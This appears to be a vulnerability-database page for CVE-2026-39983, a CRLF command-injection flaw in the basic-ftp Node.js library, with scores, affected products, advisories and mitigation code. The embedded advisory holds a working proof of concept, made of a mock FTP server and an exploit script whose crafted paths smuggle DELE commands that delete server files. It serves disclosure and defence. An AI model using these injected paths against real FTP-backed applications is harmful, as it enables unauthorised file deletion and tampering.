CVE-2026-39983
highpriority · track · 11EPSS 0.028 · 86 %ileexploit · PoCDEEURUUSEPSS · scored 2026-10-22
basic-ftp is an FTP client for Node.js. Prior to 5.2.1, basic-ftp allows FTP command injection via CRLF sequences (\r\n) in file path parameters passed to high-level path APIs such as cd(), remove(), rename(), uploadFrom(), downloadTo(), list(), and removeDir(). The library's protectWhitespace() helper only handles leading spaces and returns other paths unchanged, while FtpContext.send() writes the resulting command string directly to the control socket with \r\n appended. This lets attacker-controlled path strings split one intended FTP command into multiple commands. This vulnerability is fixed in 5.2.1.
cvss
Technical severity, 0–10. One row per scoring source.
base score 0–10 · higher = more severe · hover a vector to decode
ssvc
A stakeholder decision — act, attend, or track — from exploitation and impact.
weaknesses
The CWE weakness classes this flaw belongs to.
exploits (1)
Public proof-of-concept and weaponised exploit code.
- zebbernCVE/CVE-2026-39983Advisory for basic-ftp ⌯⌲ 20 mill weekly downloadsPoC · poc_in_github
affected products (27)
Products and version ranges known to be affected.
- IBM App Connect Enterprise 12.0.1.0-12.0.12.25all versionscert_bundDEcpe:/a:ibm:app_connect_enterprise:12.0.1.0_-_12.0.12.25
- IBM App Connect Enterprise 12.0.1.0-12.0.12.26all versionscert_bundDEcpe:/a:ibm:app_connect_enterprise:12.0.1.0_-_12.0.12.26
- IBM App Connect Enterprise 13.0.1.0-13.0.7.0all versionscert_bundDEcpe:/a:ibm:app_connect_enterprise:13.0.1.0_-_13.0.7.0
- IBM App Connect Enterprise 13.0.1.0-13.0.7.1all versionscert_bundDEcpe:/a:ibm:app_connect_enterprise:13.0.1.0_-_13.0.7.1
- IBM SPSS Collaboration and Deployment Servicesall versionscert_bundDEcpe:/a:ibm:spss:collaboration_and_deployment_services
- IBM Sterling Connect:Direct Web Servicesall versionscert_bundDEcpe:/a:ibm:sterling_connect%3adirect:web_services
- Red Hat Enterprise Linux 9 Multicluster Engine for Kubernetes 2.8.6all versionscert_bundDEcpe:/o:redhat:enterprise_linux:9_multicluster_engine_for_kubernetes_2.8.6
- Red Hat OpenShift OpenShift Container Platform 4.20.29all versionscert_bundDEcpe:/a:redhat:openshift:openshift_container_platform_4.20.29
advisories (3)
Vendor and ecosystem advisories describing this.
- WID-SEC-W-2026-1407IBM App Connect Enterprise Certified Container: Mehrere SchwachstellenDeutsch2026-05-06csaf · cert_bundDE
Ein Angreifer kann mehrere Schwachstellen in IBM App Connect Enterprise Certified Container ausnutzen, um beliebigen Code auszuführen, Sicherheitsmaßnahmen zu umgehen, Cross-Site-Scripting-Angriffe durchzuführen, Daten zu manipulieren, vertrauliche Informationen offenzulegen oder einen Denial-of-Service-Zustand zu verursachen.
- WID-SEC-W-2026-1833IBM App Connect Enterprise (basic-ftp, xmldom): Mehrere SchwachstellenDeutsch2026-06-08csaf · cert_bundDE
Ein entfernter, anonymer Angreifer kann mehrere Schwachstellen in IBM App Connect Enterprise ausnutzen, um Dateien zu manipulieren oder einen Denial-of-Service-Zustand zu verursachen.
- GHSA-chqc-8p9q-pq6qbasic-ftp has FTP Command Injection via CRLF2026-04-08ghsa · osvUS
## Summary `basic-ftp` version `5.2.0` allows FTP command injection via CRLF sequences (`\r\n`) in file path parameters passed to high-level path APIs such as `cd()`, `remove()`, `rename()`, `uploadFrom()`, `downloadTo()`, `list()`, and `removeDir()`. The library's `protectWhitespace()` helper only handles leading spaces and returns other paths unchanged, while `FtpContext.send()` writes the resulting command string directly to the control socket with `\r\n` appended. This lets attacker-controlled path strings split one intended FTP command into multiple commands. ## Affected product | Product | Affected versions | Fixed version | | --- | --- | --- | | basic-ftp (npm) | 5.2.0 (confirmed) | no fix available as of 2026-04-04 | ## Vulnerability details - CWE: `CWE-93` - Improper Neutralization of CRLF Sequences ('CRLF Injection') - CVSS 3.1: `8.6` (`High`) - Vector: `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:L` - Affected component: `dist/Client.js`, all path-handling methods via `protectWhitespace()` and `send()` The vulnerability exists because of two interacting code patterns: **1. Inadequate path sanitization in `protectWhitespace()` (line 677):** ```javascript async protectWhitespace(path) { if (!path.startsWith(" ")) { return path; // No sanitization of \r\n characters } const pwd = await this.pwd(); const absolutePathPrefix = pwd.endsWith("/") ? pwd : pwd + "/"; return absolutePathPrefix + path; } ``` This function only handles leading whitespace. It does not strip or reject `\r` (0x0D) or `\n` (0x0A) characters anywhere in the path string. **2. Direct socket write in `send()` (FtpContext.js line 177):** ```javascript send(command) { this._socket.write(command + "\r\n", this.encoding); } ``` The `send()` method appends `\r\n` to the command and writes directly to the TCP socket. If the command string already contains `\r\n` sequences (from unsanitized path input), the FTP server interprets them as command delimiters, causing the single intended command to be split into multiple commands. **Affected methods** (all call `protectWhitespace()` → `send()`): - `cd(path)` → `CWD ${path}` - `remove(path)` → `DELE ${path}` - `list(path)` → `LIST ${path}` - `downloadTo(localPath, remotePath)` → `RETR ${remotePath}` - `uploadFrom(localPath, remotePath)` → `STOR ${remotePath}` - `rename(srcPath, destPath)` → `RNFR ${srcPath}` / `RNTO ${destPath}` - `removeDir(path)` → `RMD ${path}` ## Technical impact An attacker who controls file path parameters can inject arbitrary FTP protocol commands, enabling: 1. **Arbitrary file deletion**: Inject `DELE /critical-file` to delete files on the FTP server 2. **Directory manipulation**: Inject `MKD` or `RMD` commands to create/remove directories 3. **File exfiltration**: Inject `RETR` commands to trigger downloads of unintended files 4. **Server command execution**: On FTP servers supporting `SITE EXEC`, inject system commands 5. **Session hijacking**: Inject `USER`/`PASS` commands to re-authenticate as a different user 6. **Service disruption**: Inject `QUIT` to terminate the FTP session unexpectedly The attack is realistic in applications that accept user input for FTP file paths — for example, web applications that allow users to specify files to download from or upload to an FTP server. ## Proof of concept **Prerequisites:** ```bash mkdir basic-ftp-poc && cd basic-ftp-poc npm init -y npm install basic-ftp@5.2.0 ``` **Mock FTP server (ftp-server-mock.js):** ```javascript const net = require('net'); const server = net.createServer(conn => { console.log('[+] Client connected'); conn.write('220 Mock FTP\r\n'); let buffer = ''; conn.on('data', data => { buffer += data.toString(); const lines = buffer.split('\r\n'); buffer = lines.pop(); for (const line of lines) { if (!line) continue; console.log('[CMD] ' + JSON.stringify(line)); if (line.startsWith('USER')) conn.write('331 OK\r\n'); else if (line.startsWith('PASS')) conn.write('230 Logged in\r\n'); else if (line.startsWith('FEAT')) conn.write('211 End\r\n'); else if (line.startsWith('TYPE')) conn.write('200 OK\r\n'); else if (line.startsWith('PWD')) conn.write('257 "/"\r\n'); else if (line.startsWith('OPTS')) conn.write('200 OK\r\n'); else if (line.startsWith('STRU')) conn.write('200 OK\r\n'); else if (line.startsWith('CWD')) conn.write('250 OK\r\n'); else if (line.startsWith('DELE')) conn.write('250 Deleted\r\n'); else if (line.startsWith('QUIT')) { conn.write('221 Bye\r\n'); conn.end(); } else conn.write('200 OK\r\n'); } }); }); server.listen(2121, () => console.log('[*] Mock FTP on port 2121')); ``` **Exploit (poc.js):** ```javascript const ftp = require('basic-ftp'); async function exploit() { const client = new ftp.Client(); client.ftp.verbose = true; try { await client.access({ host: '127.0.0.1', port: 2121, user: 'anonymous', password: 'anonymous' }); // Attack 1: Inject DELE command via cd() // Intended: CWD harmless.txt // Actual: CWD harmless.txt\r\nDELE /important-file.txt const maliciousPath = "harmless.txt\r\nDELE /important-file.txt"; console.log('\n=== Attack 1: DELE injection via cd() ==='); try { await client.cd(maliciousPath); } catch(e) {} // Attack 2: Double DELE via remove() const maliciousPath2 = "decoy.txt\r\nDELE /secret-data.txt"; console.log('\n=== Attack 2: DELE injection via remove() ==='); try { await client.remove(maliciousPath2); } catch(e) {} } finally { client.close(); } } exploit(); ``` **Running the PoC:** ```bash # Terminal 1: Start mock FTP server node ftp-server-mock.js # Terminal 2: Run exploit node poc.js ``` **Expected output on mock server:** ``` "OPTS UTF8 ON" "USER anonymous" "PASS anonymous" "FEAT" "TYPE I" "STRU F" "OPTS UTF8 ON" "CWD harmless.txt" "DELE /important-file.txt" <-- injected from cd() "DELE decoy.txt" "DELE /secret-data.txt" <-- injected from remove() "QUIT" ``` This command trace was reproduced against the published `basic-ftp@5.2.0` package on Linux with a local mock FTP server. The injected `DELE` commands are received as distinct FTP commands, confirming that CRLF inside path parameters is not neutralized before socket write. ## Mitigation **Immediate workaround**: Sanitize all path inputs before passing them to basic-ftp: ```javascript function sanitizeFtpPath(path) { if (/[\r\n]/.test(path)) { throw new Error('Invalid FTP path: contains control characters'); } return path; } // Usage await client.cd(sanitizeFtpPath(userInput)); ``` **Recommended fix for basic-ftp**: The `protectWhitespace()` function (or a new validation layer) should reject or strip `\r` and `\n` characters from all path inputs: ```javascript async protectWhitespace(path) { // Reject CRLF injection attempts if (/[\r\n\0]/.test(path)) { throw new Error('Invalid path: contains control characters'); } if (!path.startsWith(" ")) { return path; } const pwd = await this.pwd(); const absolutePathPrefix = pwd.endsWith("/") ? pwd : pwd + "/"; return absolutePathPrefix + path; } ``` ## References - [npm package: basic-ftp](https://www.npmjs.com/package/basic-ftp) - [GitHub repository](https://github.com/patrickjuchli/basic-ftp) - [Vulnerable source: Client.js protectWhitespace()](https://github.com/patrickjuchli/basic-ftp/blob/master/src/Client.ts) - [Vulnerable source: FtpContext.js send()](https://github.com/patrickjuchli/basic-ftp/blob/master/src/FtpContext.ts) - [CWE-93: Improper Neutralization of CRLF Sequences](https://cwe.mitre.org/data/definitions/93.html) - [OWASP: CRLF Injection](https://owasp.org/www-community/vulnerabilities/CRLF_Injection)
also known as (3)
Other names and identifiers for this entity.
sources
Which sources assert this record, and when.
references (15)
External citations — patches, advisories, analysis.
- https://github.com/patrickjuchli/basic-ftp/commit/2ecc8e2c500c5234115f06fd1dbde1aa03d70f4bcnnvd
- https://github.com/patrickjuchli/basic-ftp/releasesPatchcnnvd
- https://github.com/patrickjuchli/basic-ftp/releases/tag/v5.2.1cnnvd
- https://github.com/patrickjuchli/basic-ftp/security/advisories/GHSA-chqc-8p9q-pq6qcnnvd
- https://github.com/patrickjuchli/basic-ftp/commit/2ecc8e2c500c5234115f06fd1dbde1aa03d70f4benisa_euvd
- https://github.com/patrickjuchli/basic-ftp/releases/tag/v5.2.1enisa_euvd
- https://github.com/patrickjuchli/basic-ftp/security/advisories/GHSA-chqc-8p9q-pq6qenisa_euvd
- https://access.redhat.com/errata/RHSA-2026:13826nvd
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